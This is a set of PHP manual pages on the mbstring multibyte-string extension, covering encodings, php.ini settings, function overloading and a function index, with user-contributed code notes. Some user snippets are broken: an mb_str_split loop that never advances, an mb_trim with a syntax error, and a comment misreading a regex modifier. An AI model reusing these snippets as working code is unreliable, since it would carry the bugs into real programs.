US-ASCII (preferred MIME name) / iso-ir-6 / ANSI_X3.4-1986 / ISO_646.irv:1991 / ASCII / ISO646-US / us / IBM367 / CP367 / csASCII | ASCII / ISO 646 | American Standard Code for Information Interchange is a commonly-used 7-bit encoding. Also standardized as an international standard, ISO 646. | (none)
EUC-JP (preferred MIME name) / Extended_UNIX_Code_Packed_Format_for_Japanese / csEUCPkdFmtJapanese | Compound of US-ASCII / JIS X0201:1997 (hankaku kana part) / JIS X0208:1990 / JIS X0212:1990 | As you see the name is derived from an abbreviation of Extended UNIX Code Packed Format for Japanese, this encoding is mostly used on UNIX or alike platforms. The original encoding scheme, Extended UNIX Code, is designed on the basis of ISO 2022. | The character set referred to by EUC-JP is different to IBM932 / CP932, which are used by OS/2® and Microsoft® Windows®. For information interchange with those platforms, use EUCJP-WIN instead.
Shift_JIS (preferred MIME name) / MS_Kanji / csShift_JIS | Compound of JIS X0201:1997 / JIS X0208:1997 | Shift_JIS was developed in early 80's, at the time personal Japanese word processors were brought into the market, in order to maintain compatiblities with the legacy encoding scheme JIS X 0201:1976. According to the IANA definition the codeset of Shift_JIS is slightly different to IBM932 / CP932. However, the names "SJIS" / "Shift_JIS" are often wrongly used to refer to these codesets. | For the CP932 codemap, use SJIS-WIN instead.
(none) | Compound of JIS X0201:1997 / JIS X0208:1997 / IBM extensions / NEC extensions | While this "encoding" uses the same encoding scheme as EUC-JP, the underlying character set is different. That is, some code points map to different characters than EUC-JP. | none
Windows-31J / csWindows31J | Compound of JIS X0201:1997 / JIS X0208:1997 / IBM extensions / NEC extensions | While this "encoding" uses the same encoding scheme as Shift_JIS, the underlying character set is different. That means some code points map to different characters than Shift_JIS. | (none)
ISO-2022-JP (preferred MIME name) / csISO2022JP | US-ASCII / JIS X0201:1976 / JIS X0208:1978 / JIS X0208:1983 | » RFC1468 | (none)
JIS |  |  |
ISO-8859-1 |  |  |
ISO-8859-2 |  |  |
ISO-8859-3 |  |  |
ISO-8859-4 |  |  |
ISO-8859-5 |  |  |
ISO-8859-6 |  |  |
ISO-8859-7 |  |  |
ISO-8859-8 |  |  |
ISO-8859-9 |  |  |
ISO-8859-10 |  |  |
ISO-8859-13 |  |  |
ISO-8859-14 |  |  |
ISO-8859-15 |  |  |
byte2be |  |  |
byte2le |  |  |
byte4be |  |  |
byte4le |  |  |
BASE64 |  |  |
HTML-ENTITIES |  |  |
7bit |  |  |
8bit |  |  |
EUC-CN |  |  |
CP936 |  |  |
HZ |  |  |
EUC-TW |  |  |
CP950 |  |  |
BIG-5 |  |  |
EUC-KR |  |  |
UHC (CP949) |  |  |
ISO-2022-KR |  |  |
Windows-1251 (CP1251) |  |  |
Windows-1252 (CP1252) |  |  |
CP866 (IBM866) |  |  |
KOI8-R |  |  |

User Contributed Notes

There are no user contributed notes for this page.


Basics of Japanese multi-byte encodings

Japanese characters can only be represented by multibyte encodings, and multiple encoding standards are used depending on platform and text purpose. To make matters worse, these encoding standards differ slightly from one another. In order to create a web application which would be usable in a Japanese environment, a developer has to keep these complexities in mind to ensure that the proper character encodings are used.

  • Storage for a character can be up to six bytes
  • Most Japanese multibyte characters appear twice as wide as single-byte characters. These characters are called "zen-kaku" in Japanese, which means "full width". Other, narrower, characters are called "han-kaku", which means "half width". The graphical properties of the characters, however, depends upon the type faces used to display them.
  • Some character encodings use shift(escape) sequences defined in ISO-2022 to switch the code map of the specific code area (00h to 7fh).
  • ISO-2022-JP should be used in SMTP/NNTP, and headers and entities should be reencoded as per RFC requirements. Although those are not requisites, it's still a good idea because several popular user agents cannot recognize any other encoding methods.
  • Web pages created for mobile phone services such as » i-mode or » EZweb are supposed to use Shift_JIS.
  • As of PHP 5.4.0, the pictogram characters used for mobile phone service such as » i-mode or » EZweb are supported.

User Contributed Notes

gullevek at gullevek dot org 25-Aug-2010 09:24
For ISO-2022-JP encoding. If you convert data into this encoding it is highly recommended you use ISO-2022-JP-MS for the extended character set, eg the 1 in a circle ①.

For the mail header on the other hand you have to use ISO-2022-JP *without* the -MS extension.


HTTP Input and Output

HTTP input/output character encoding conversion may convert binary data also. Users are supposed to control character encoding conversion if binary data is used for HTTP input/output.

Note:

In PHP 4.3.2 or earlier versions, there was a limitation in this functionality that mbstring does not perform character encoding conversion in POST data if the enctype attribute in the form element is set to multipart/form-data. So you have to convert the incoming data by yourself in this case if necessary.

Beginning with PHP 4.3.3, if enctype for HTML form is set to multipart/form-data and mbstring.encoding_translation is set to On in php.ini the POST'ed variables and the names of uploaded files will be converted to the internal character encoding as well. However, the conversion isn't applied to the query keys.

  • HTTP Input

    There is no way to control HTTP input character conversion from a PHP script. To disable HTTP input character conversion, it has to be done in php.ini.

    Example #1 Disable HTTP input conversion in php.ini

    ;; Disable HTTP Input conversion
mbstring.http_input = pass
;; Disable HTTP Input conversion (PHP 4.3.0 or higher)
mbstring.encoding_translation = Off

    When using PHP as an Apache module, it is possible to override those settings in each Virtual Host directive in httpd.conf or per directory with .htaccess. Refer to the Configuration section and Apache Manual for details.

  • HTTP Output

    There are several ways to enable output character encoding conversion. One is using php.ini, another is using ob_start() with mb_output_handler() as the ob_start callback function.

Example #2 php.ini setting example

;; Enable output character encoding conversion for all PHP pages

;; Enable Output Buffering
output_buffering    = On

;; Set mb_output_handler to enable output conversion
output_handler      = mb_output_handler

Example #3 Script example

<?php

// Enable output character encoding conversion only for this page

// Set HTTP output character encoding to SJIS
mb_http_output('SJIS');

// Start buffering and specify "mb_output_handler" as
// callback function
ob_start('mb_output_handler');

?>

User Contributed Notes

There are no user contributed notes for this page.


Supported Character Encodings

Currently the following character encodings are supported by the mbstring module. Any of those Character encodings can be specified in the encoding parameter of mbstring functions.

The following character encodings are supported in this PHP extension:

  • UCS-4*
  • UCS-4BE
  • UCS-4LE*
  • UCS-2
  • UCS-2BE
  • UCS-2LE
  • UTF-32*
  • UTF-32BE*
  • UTF-32LE*
  • UTF-16*
  • UTF-16BE*
  • UTF-16LE*
  • UTF-7
  • UTF7-IMAP
  • UTF-8*
  • ASCII*
  • EUC-JP*
  • SJIS*
  • eucJP-win*
  • SJIS-win*
  • ISO-2022-JP
  • ISO-2022-JP-MS
  • CP932
  • CP51932
  • SJIS-mac** (alias: MacJapanese)
  • SJIS-Mobile#DOCOMO** (alias: SJIS-DOCOMO)
  • SJIS-Mobile#KDDI** (alias: SJIS-KDDI)
  • SJIS-Mobile#SOFTBANK** (alias: SJIS-SOFTBANK)
  • UTF-8-Mobile#DOCOMO** (alias: UTF-8-DOCOMO)
  • UTF-8-Mobile#KDDI-A**
  • UTF-8-Mobile#KDDI-B** (alias: UTF-8-KDDI)
  • UTF-8-Mobile#SOFTBANK** (alias: UTF-8-SOFTBANK)
  • ISO-2022-JP-MOBILE#KDDI** (alias: ISO-2022-JP-KDDI)
  • JIS
  • JIS-ms
  • CP50220
  • CP50220raw
  • CP50221
  • CP50222
  • ISO-8859-1*
  • ISO-8859-2*
  • ISO-8859-3*
  • ISO-8859-4*
  • ISO-8859-5*
  • ISO-8859-6*
  • ISO-8859-7*
  • ISO-8859-8*
  • ISO-8859-9*
  • ISO-8859-10*
  • ISO-8859-13*
  • ISO-8859-14*
  • ISO-8859-15*
  • byte2be
  • byte2le
  • byte4be
  • byte4le
  • BASE64
  • HTML-ENTITIES
  • 7bit
  • 8bit
  • EUC-CN*
  • CP936
  • GB18030**
  • HZ
  • EUC-TW*
  • CP950
  • BIG-5*
  • EUC-KR*
  • UHC (CP949)
  • ISO-2022-KR
  • Windows-1251 (CP1251)
  • Windows-1252 (CP1252)
  • CP866 (IBM866)
  • KOI8-R*

* denotes encodings usable also in regular expressions.

** denotes encodings available since PHP 5.4.0.

Any php.ini entry which accepts an encoding name can also use the values "auto" and "pass". mbstring functions which accept an encoding name can also use the value "auto".

If "pass" is set, no character encoding conversion is performed.

If "auto" is set, it is expanded to the list of encodings defined per the NLS. For instance, if the NLS is set to Japanese, the value is assumed to be "ASCII,JIS,UTF-8,EUC-JP,SJIS".

See also mb_detect_order()

User Contributed Notes

Anonymous 07-Sep-2014 03:32
CP850 (DOS-Latin-1) is also supported.
Tomolimo (olivier dot moron at raynet-it dot com) 13-Sep-2013 11:12
Apart of this list, GB2312 encoding is also supported.
It is Chinese Simplified encoding which is now superseded by GB18030, but GB2312 is not in the list.
If you try to us it, the result will allright even if it is not in the list.
Regards,
Tomolimo
akniep at rayo dot info 11-Dec-2012 12:42
Use mb_list_encodings() to check if an encoding is supported by mbstring before using its functions for it.


Function Overloading Feature

You might often find it difficult to get an existing PHP application to work in a given multibyte environment. This happens because most PHP applications out there are written with the standard string functions such as substr(), which are known to not properly handle multibyte-encoded strings.

mbstring supports a 'function overloading' feature which enables you to add multibyte awareness to such an application without code modification by overloading multibyte counterparts on the standard string functions. For example, mb_substr() is called instead of substr() if function overloading is enabled. This feature makes it easy to port applications that only support single-byte encodings to a multibyte environment in many cases.

To use function overloading, set mbstring.func_overload in php.ini to a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions. For example, if it is set to 7, mail, strings and regular expression functions will be overloaded. The list of overloaded functions are shown below.

Functions to be overloaded
value of mbstring.func_overload | original function | overloaded function
1 | mail() | mb_send_mail()
2 | strlen() | mb_strlen()
2 | strpos() | mb_strpos()
2 | strrpos() | mb_strrpos()
2 | substr() | mb_substr()
2 | strtolower() | mb_strtolower()
2 | strtoupper() | mb_strtoupper()
2 | stripos() | mb_stripos()
2 | strripos() | mb_strripos()
2 | strstr() | mb_strstr()
2 | stristr() | mb_stristr()
2 | strrchr() | mb_strrchr()
2 | substr_count() | mb_substr_count()
4 | ereg() | mb_ereg()
4 | eregi() | mb_eregi()
4 | ereg_replace() | mb_ereg_replace()
4 | eregi_replace() | mb_eregi_replace()
4 | split() | mb_split()

Note:

It is not recommended to use the function overloading option in the per-directory context, because it's not confirmed yet to be stable enough in a production environment and may lead to undefined behaviour.

User Contributed Notes

Grandt 16-Jun-2014 08:10
In short, only use mbstring.func_overload if you are 100% certain that nothing on your site relies on manipulating binary data in PHP.
Oliver Baltz 26-Jul-2010 11:25
In case you need to (de)activate the overloading for a specific directory, try setting an appropriate php_admin_value in your httpd.conf, e.g.

<Directory ...>
   ...
   php_admin_value mbstring.func_overload 7
</Directory>

I'm not 100% sure if one can rely on that, but it seems to work for me.
andrew 21-May-2009 11:38
It seems in php 5.2.7 - 5.2.9 under windows mbstring overloading not working in .htaccess files. Apache v.2.2.
Works only in php.ini, this is not convinient in some situations.


PHP Character Encoding Requirements

Encodings of the following types are safely used with PHP.

  • A singlebyte encoding,

    • which has ASCII-compatible (ISO646 compatible) mappings for the characters in range of 00h to 7fh.

  • A multibyte encoding,

    • which has ASCII-compatible mappings for the characters in range of 00h to 7fh.
    • which don't use ISO2022 escape sequences.
    • which don't use a value from 00h to 7fh in any of the compounded bytes that represents a single character.

These are examples of character encodings that are unlikely to work with PHP.

JIS, SJIS, ISO-2022-JP, BIG-5

Although PHP scripts written in any of those encodings might not work, especially in the case where encoded strings appear as identifiers or literals in the script, you can almost avoid using these encodings by setting up the mbstring's transparent encoding filter function for incoming HTTP queries.

Note:

It's highly discouraged to use SJIS, BIG5, CP936, CP949 and GB18030 for the internal encoding unless you are familiar with the parser, the scanner and the character encoding.

Note:

If you are connecting to a database with PHP, it is recommended that you use the same character encoding for both the database and the internal encoding for ease of use and better performance.

If you are using PostgreSQL, the character encoding used in the database and the one used in PHP may differ as it supports automatic character set conversion between the backend and the frontend.

User Contributed Notes

There are no user contributed notes for this page.


Multibyte String Functions

References

Multibyte character encoding schemes and their related issues are fairly complicated, and are beyond the scope of this documentation. Please refer to the following URLs and other resources for further information regarding these topics.

  • Unicode materials

    » http://www.unicode.org/

  • Japanese/Korean/Chinese character information

    » http://examples.oreilly.com/cjkvinfo/doc/cjk.inf

Table of Contents

  • mb_check_encoding — Check if the string is valid for the specified encoding
  • mb_convert_case — Perform case folding on a string
  • mb_convert_encoding — Convert character encoding
  • mb_convert_kana — Convert "kana" one from another ("zen-kaku", "han-kaku" and more)
  • mb_convert_variables — Convert character code in variable(s)
  • mb_decode_mimeheader — Decode string in MIME header field
  • mb_decode_numericentity — Decode HTML numeric string reference to character
  • mb_detect_encoding — Detect character encoding
  • mb_detect_order — Set/Get character encoding detection order
  • mb_encode_mimeheader — Encode string for MIME header
  • mb_encode_numericentity — Encode character to HTML numeric string reference
  • mb_encoding_aliases — Get aliases of a known encoding type
  • mb_ereg_match — Regular expression match for multibyte string
  • mb_ereg_replace_callback — Perform a regular expresssion seach and replace with multibyte support using a callback
  • mb_ereg_replace — Replace regular expression with multibyte support
  • mb_ereg_search_getpos — Returns start point for next regular expression match
  • mb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression match
  • mb_ereg_search_init — Setup string and regular expression for a multibyte regular expression match
  • mb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string
  • mb_ereg_search_regs — Returns the matched part of a multibyte regular expression
  • mb_ereg_search_setpos — Set start point of next regular expression match
  • mb_ereg_search — Multibyte regular expression match for predefined multibyte string
  • mb_ereg — Regular expression match with multibyte support
  • mb_eregi_replace — Replace regular expression with multibyte support ignoring case
  • mb_eregi — Regular expression match ignoring case with multibyte support
  • mb_get_info — Get internal settings of mbstring
  • mb_http_input — Detect HTTP input character encoding
  • mb_http_output — Set/Get HTTP output character encoding
  • mb_internal_encoding — Set/Get internal character encoding
  • mb_language — Set/Get current language
  • mb_list_encodings — Returns an array of all supported encodings
  • mb_output_handler — Callback function converts character encoding in output buffer
  • mb_parse_str — Parse GET/POST/COOKIE data and set global variable
  • mb_preferred_mime_name — Get MIME charset string
  • mb_regex_encoding — Set/Get character encoding for multibyte regex
  • mb_regex_set_options — Set/Get the default options for mbregex functions
  • mb_send_mail — Send encoded mail
  • mb_split — Split multibyte string using regular expression
  • mb_strcut — Get part of string
  • mb_strimwidth — Get truncated string with specified width
  • mb_stripos — Finds position of first occurrence of a string within another, case insensitive
  • mb_stristr — Finds first occurrence of a string within another, case insensitive
  • mb_strlen — Get string length
  • mb_strpos — Find position of first occurrence of string in a string
  • mb_strrchr — Finds the last occurrence of a character in a string within another
  • mb_strrichr — Finds the last occurrence of a character in a string within another, case insensitive
  • mb_strripos — Finds position of last occurrence of a string within another, case insensitive
  • mb_strrpos — Find position of last occurrence of a string in a string
  • mb_strstr — Finds first occurrence of a string within another
  • mb_strtolower — Make a string lowercase
  • mb_strtoupper — Make a string uppercase
  • mb_strwidth — Return width of string
  • mb_substitute_character — Set/Get substitution character
  • mb_substr_count — Count the number of substring occurrences
  • mb_substr — Get part of string

User Contributed Notes

treilor at gmail dot com 23-May-2014 05:43
A small note for those who will follow rawsrc at gmail dot com's advice: mb_split uses regular expressions, in which case it may make sense to use built-in function mb_ereg_replace.
mattr at telebody dot com 19-May-2014 04:29
A brief note on Daniel Rhodes' mb_punctuation_trim().
The regular expression modifier u does not mean ungreedy, rather it means the pattern is in UTF-8 encoding. Instead the U modifier should be used to get ungreedy behavior. (I have not otherwise tested his code.)
See http://php.net/manual/en/reference.pcre.pattern.modifiers.php
Anonymous 31-Oct-2013 08:16
Yet another single-line mb_trim() function

<?php
function mb_trim($string, $trim_chars = '\s'){
    return preg_replace('/^['.$trim_chars.']*(?U)(.*)['.$trim_chars.']*$/u', '\\1',$string);
}
$string = '           "some text."      ';
echo mb_trim($string, '\s".');
//some text
?>
Daniel Rhodes 17-Sep-2013 10:24
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
Daniel Rhodes 16-Sep-2013 11:55
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
Daniel Rhodes 16-Sep-2013 09:11
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
deceze at gmail dot com 04-Sep-2012 07:32
Please note that all the discussion about mb_str_replace in the comments is pretty pointless. str_replace works just fine with multibyte strings:

<?php

$string  = '漢字はユニコード';
$needle  = 'は';
$replace = 'Foo';

echo str_replace($needle, $replace, $string);
// outputs: 漢字Fooユニコード

?>

The usual problem is that the string is evaluated as binary string, meaning PHP is not aware of encodings at all. Problems arise if you are getting a value "from outside" somewhere (database, POST request) and the encoding of the needle and the haystack is not the same. That typically means the source code is not saved in the same encoding as you are receiving "from outside". Therefore the binary representations don't match and nothing happens.
rawsrc at gmail dot com 09-Aug-2011 11:36
Hi,

For those who are looking for mb_str_replace, here's a simple function :
<?php
function mb_str_replace($needle, $replacement, $haystack) {
   return implode($replacement, mb_split($needle, $haystack));
}
?>
I haven't found a simpliest way to proceed :-)
efesar 28-Jan-2011 11:21
This small mb_trim function works for me.

<?php
function mb_trim( $string )
{
    $string = preg_replace( "/(^\s+)|(\s+$)/us", "", $string );

    return $string;
}
?>
johannesponader at dontspamme dot googlemail dot co 17-Oct-2010 06:46
Please note that when migrating code to handle UTF-8 encoding, not only the functions mentioned here are useful, but also the function htmlentities() has to be changed to htmlentities($var, ENT_COMPAT, "UTF-8") or similar. I didn't scan the manual for it, but there could be some more functions that need adjustments like this.
phpnet at rcpt dot at 19-Aug-2010 04:46
<?php
/**
* Multibyte safe version of trim()
* Always strips whitespace characters (those equal to \s)
*
* @author Peter Johnson
* @email phpnet@rcpt.at
* @param $string The string to trim
* @param $chars Optional list of chars to remove from the string ( as per trim() )
* @param $chars_array Optional array of preg_quote'd chars to be removed
* @return string
*/
public static function mb_trim( $string, $chars = "", $chars_array = array() )
{
    for( $x=0; $x<iconv_strlen( $chars ); $x++ ) $chars_array[] = preg_quote( iconv_substr( $chars, $x, 1 ) );
    $encoded_char_list = implode( "|", array_merge( array( "\s","\t","\n","\r", "\0", "\x0B" ), $chars_array ) );

    $string = mb_ereg_replace( "^($encoded_char_list)*", "", $string );
    $string = mb_ereg_replace( "($encoded_char_list)*$", "", $string );
    return $string;
}
?>
mt at mediamedics dot nl 17-Dec-2009 02:52
A multibyte one-to-one alternative for the str_split function (http://php.net/manual/en/function.str-split.php):

<?php
    function mb_str_split($string, $split_length = 1){

        mb_internal_encoding('UTF-8');
        mb_regex_encoding('UTF-8');

        $split_length = ($split_length <= 0) ? 1 : $split_length;

        $mb_strlen = mb_strlen($string, 'utf-8');

        $array = array();

        for($i = 0; $i < $mb_strlen; $i + $split_length){

            $array[] = mb_substr($string, $i, $split_length);
        }

        return $array;

    }
?>
peter AT(no spam) dezzignz dot com 30-Oct-2009 01:26
The function trim() has not failed me so far in my multibyte applications, but in case one needs a truly multibyte function, here it is. The nice thing is that the character to remove can be whitespace or any other specified character, even a multibyte character.

<?php

// multibyte string split

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
        }
    return $array;
    }

// removes $rem at both ends

function mb_trim ($str, $rem = ' ') {
    if (empty($str)) return false;
    // convert to array
    $arr = mbStringToArray($str);
    $len = count($arr);
    // left side
    for ($i = 0; $i < $len; $i++) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // right side
    for ($i = $len-1; $i >= 0; $i--) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // convert to string
    return implode ('', $arr);
    }

?>
roydukkey at roydukkey dot com 23-Oct-2009 06:31
This would be one way to create a multibyte substr_replace function

<?php
function mb_substr_replace($output, $replace, $posOpen, $posClose) {
        return mb_substr($output, 0, $posOpen).$replace.mb_substr($output, $posClose+1);
    }
?>
sakai at d4k dot net 26-Jun-2009 02:46
I hope this mb_str_replace will work for arrays.  Please use mb_internal_encoding() beforehand, if you need to change the encoding.

Thanks to marc at ermshaus dot org for the original.

<?php

if(!function_exists('mb_str_replace')) {

    function mb_str_replace($search, $replace, $subject) {

        if(is_array($subject)) {
            $ret = array();
            foreach($subject as $key => $val) {
                $ret[$key] = mb_str_replace($search, $replace, $val);
            }
            return $ret;
        }

        foreach((array) $search as $key => $s) {
            if($s == '') {
                continue;
            }
            $r = !is_array($replace) ? $replace : (array_key_exists($key, $replace) ? $replace[$key] : '');
            $pos = mb_strpos($subject, $s);
            while($pos !== false) {
                $subject = mb_substr($subject, 0, $pos) . $r . mb_substr($subject, $pos + mb_strlen($s));
                $pos = mb_strpos($subject, $s, $pos + mb_strlen($r));
            }
        }

        return $subject;

    }

}

?>
mitgath at gmail dot com 30-Apr-2009 03:26
according to:
http://bugs.php.net/bug.php?id=21317
here's missing function

<?php
function mb_str_pad ($input, $pad_length, $pad_string, $pad_style, $encoding="UTF-8") {
   return str_pad($input,
strlen($input)-mb_strlen($input,$encoding)+$pad_length, $pad_string, $pad_style);
}
?>
Ben XO 17-Nov-2008 02:14
PHP5 has no mb_trim(), so here's one I made. It work just as trim(), but with the added bonus of PCRE character classes (including, of course, all the useful Unicode ones such as \pZ).

Unlike other approaches that I've seen to this problem, I wanted to emulate the full functionality of trim() - in particular, the ability to customise the character list.

<?php
    /**
     * Trim characters from either (or both) ends of a string in a way that is
     * multibyte-friendly.
     *
     * Mostly, this behaves exactly like trim() would: for example supplying 'abc' as
     * the charlist will trim all 'a', 'b' and 'c' chars from the string, with, of
     * course, the added bonus that you can put unicode characters in the charlist.
     *
     * We are using a PCRE character-class to do the trimming in a unicode-aware
     * way, so we must escape ^, \, - and ] which have special meanings here.
     * As you would expect, a single \ in the charlist is interpretted as
     * "trim backslashes" (and duly escaped into a double-\ ). Under most circumstances
     * you can ignore this detail.
     *
     * As a bonus, however, we also allow PCRE special character-classes (such as '\s')
     * because they can be extremely useful when dealing with UCS. '\pZ', for example,
     * matches every 'separator' character defined in Unicode, including non-breaking
     * and zero-width spaces.
     *
     * It doesn't make sense to have two or more of the same character in a character
     * class, therefore we interpret a double \ in the character list to mean a
     * single \ in the regex, allowing you to safely mix normal characters with PCRE
     * special classes.
     *
     * *Be careful* when using this bonus feature, as PHP also interprets backslashes
     * as escape characters before they are even seen by the regex. Therefore, to
     * specify '\\s' in the regex (which will be converted to the special character
     * class '\s' for trimming), you will usually have to put *4* backslashes in the
     * PHP code - as you can see from the default value of $charlist.
     *
     * @param string
     * @param charlist list of characters to remove from the ends of this string.
     * @param boolean trim the left?
     * @param boolean trim the right?
     * @return String
     */
    function mb_trim($string, $charlist='\\\\s', $ltrim=true, $rtrim=true)
    {
        $both_ends = $ltrim && $rtrim;

        $char_class_inner = preg_replace(
            array( '/[\^\-\]\\\]/S', '/\\\{4}/S' ),
            array( '\\\\\\0', '\\' ),
            $charlist
        );

        $work_horse = '[' . $char_class_inner . ']+';
        $ltrim && $left_pattern = '^' . $work_horse;
        $rtrim && $right_pattern = $work_horse . '$';

        if($both_ends)
        {
            $pattern_middle = $left_pattern . '|' . $right_pattern;
        }
        elseif($ltrim)
        {
            $pattern_middle = $left_pattern;
        }
        else
        {
            $pattern_middle = $right_pattern;
        }

        return preg_replace("/$pattern_middle/usSD", '', $string) );
    }
?>
marc at ermshaus dot org 04-Oct-2008 12:05
A small correction to patrick at hexane dot org's mb_str_replace function. The original function does not work as intended in case $replacement contains $needle.

<?php
function mb_str_replace($needle, $replacement, $haystack)
{
    $needle_len = mb_strlen($needle);
    $replacement_len = mb_strlen($replacement);
    $pos = mb_strpos($haystack, $needle);
    while ($pos !== false)
    {
        $haystack = mb_substr($haystack, 0, $pos) . $replacement
                . mb_substr($haystack, $pos + $needle_len);
        $pos = mb_strpos($haystack, $needle, $pos + $replacement_len);
    }
    return $haystack;
}
?>
patrick at hexane dot org 27-Jun-2008 05:18
I wonder why there isn't a mb_str_replace().  Here's one for now:

function mb_str_replace( $needle, $replacement, $haystack ) {
  $needle_len = mb_strlen($needle);
  $pos = mb_strpos( $haystack, $needle);
  while (!($pos ===false)) {
    $front = mb_substr( $haystack, 0, $pos );
    $back  = mb_substr( $haystack, $pos + $needle_len);
    $haystack = $front.$replacement.$back;
    $pos = mb_strpos( $haystack, $needle);
  }
  return $haystack;
}
chris at maedata dot com 25-Apr-2007 06:50
The opposite of what Eugene Murai wrote in a previous comment is true when importing/uploading a file. For instance, if you export an Excel spreadsheet using the Save As Unicode Text option, you can use the following to convert it to UTF-8 after uploading:

//Convert file to UTF-8 in case Windows mucked it up
$file = explode( "\n", mb_convert_encoding( trim( file_get_contents( $_FILES['file']['tmp_name'] ) ), 'UTF-8', 'UTF-16' ) );
mdoocy at u dot washington dot edu 14-Mar-2007 07:30
Note that some of the multi-byte functions run in O(n) time, rather than constant time as is the case for their single-byte equivalents. This includes any functionality requiring access at a specific index, since random access is not possible in a string whose number of bytes will not necessarily match the number of characters. Affected functions include: mb_substr(), mb_strstr(), mb_strcut(), mb_strpos(), etc.
motin at demomusic dot nu 20-Jan-2007 02:12
As peter dot albertsson at spray dot se already pointed out, overloading strlen may break code that handles binary data and relies upon strlen for bytelengths.

The problem occurs when a file is filled with a string using fwrite in the following manner:

$len = strlen($data);
fwrite($fp, $data, $len);

fwrite takes amount of bytes as the third parameter, but mb_strlen returns the amount of characters in the string. Since multibyte characters are possibly more than one byte in length each - this will result in that the last characters of $data never gets written to the file.

After hours of investigating why PEAR::Cache_Lite didn't work - the above is what I found.

I made an attempt at using single byte functions, but it doesn't work. Posting here anyway in case it helps someone else:

/**
* PHP Singe byte functions simulation (non successful)
*
* Usage: sb_string(functionname, arg1, arg2, etc);
* Example: sb_string("strlen", "tuöéä"); returns 8 (should...)
*/
function sb_string() {

  $arguments = func_get_args();

  $func_overloading = ini_get("mbstring.func_overload");

  ini_set("mbstring.func_overload", 0);

  $ret = call_user_func_array(array_shift($arguments), $arguments);

  ini_set("mbstring.func_overload", $func_overloading);

  return $ret;

}
pdezwart .at. snocap 10-Oct-2006 08:28
If you are trying to emulate the UnicodeEncoding.Unicode.GetBytes() function in .NET, the encoding you want to use is: UCS-2LE
hayk at mail dot ru 17-Aug-2006 09:36
Since PHP 5.1.0 and PHP 4.4.2 there is an Armenian ArmSCII-8 (ArmSCII-8, ArmSCII8, ARMSCII-8, ARMSCII8) encoding avaliable.
daniel at softel dot jp 24-Jul-2006 01:41
Note that although "multi-byte" hints at total internationalization, the mb_ API was designed by a Japanese person to support the Japanese language.

Some of the functions, for example mb_convert_kana(), make absolutely no sense outside of a Japanese language environment.

It should perhaps be considered "lucky" if the functions work with non-Japanese multi-byte languages.

I don't mean any disrespect to the mb_ API because I'm using it everyday and I appreciate its usefulness, but maybe a better name would be the jp_ API.
Aardvark 13-Mar-2006 08:37
Since not all hosted servces currently support the multi-byte function set, it may still be necessary to process Unicode strings using standard single byte functions.  The function at the following link - http://www.kanolife.com/escape/2006/03/php-unicode-processing.html - shows by example how to do this.  While this only covers UTF-8, the standard PHP function "iconv" allows conversion into and out of UTF-8 if strings need to be input or output in other encodings.
peter kehl 09-Mar-2006 05:34
UTF-16LE solution for CSV for Excel by Eugene Murai works well:
$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');

However, then Excel on Mac OS X doesn't identify columns properly and its puts each whole row in its own cell. In order to fix that, use TAB "\\t" character as CSV delimiter rather than comma or colon.

You may also want to use HTTP encoding header, such as
header( "Content-type: application/vnd.ms-excel; charset=UTF-16LE" );
15-Aug-2005 04:24
get the string octet-size, when mbstring.func_overload is set to 2 :

<?php
function str_sizeof($string) {
    return count(preg_split("`.`", $string)) - 1 ;
}
?>

answering to peter albertsson, once you got your data octet-size, you can access each octet with something
$string[0] ... $string[$size-1], since the [ operator doesn't complies with multibytes strings.
peter dot albertsson at spray dot se 21-May-2005 12:43
Setting mbstring.func_overload = 2 may break your applications that deal with binary data.

After having set mbstring.func_overload = 2 and  mbstring.internal_encoding = UTF-8 I can't even read a binary file and print/echo it to output without corrupting it.
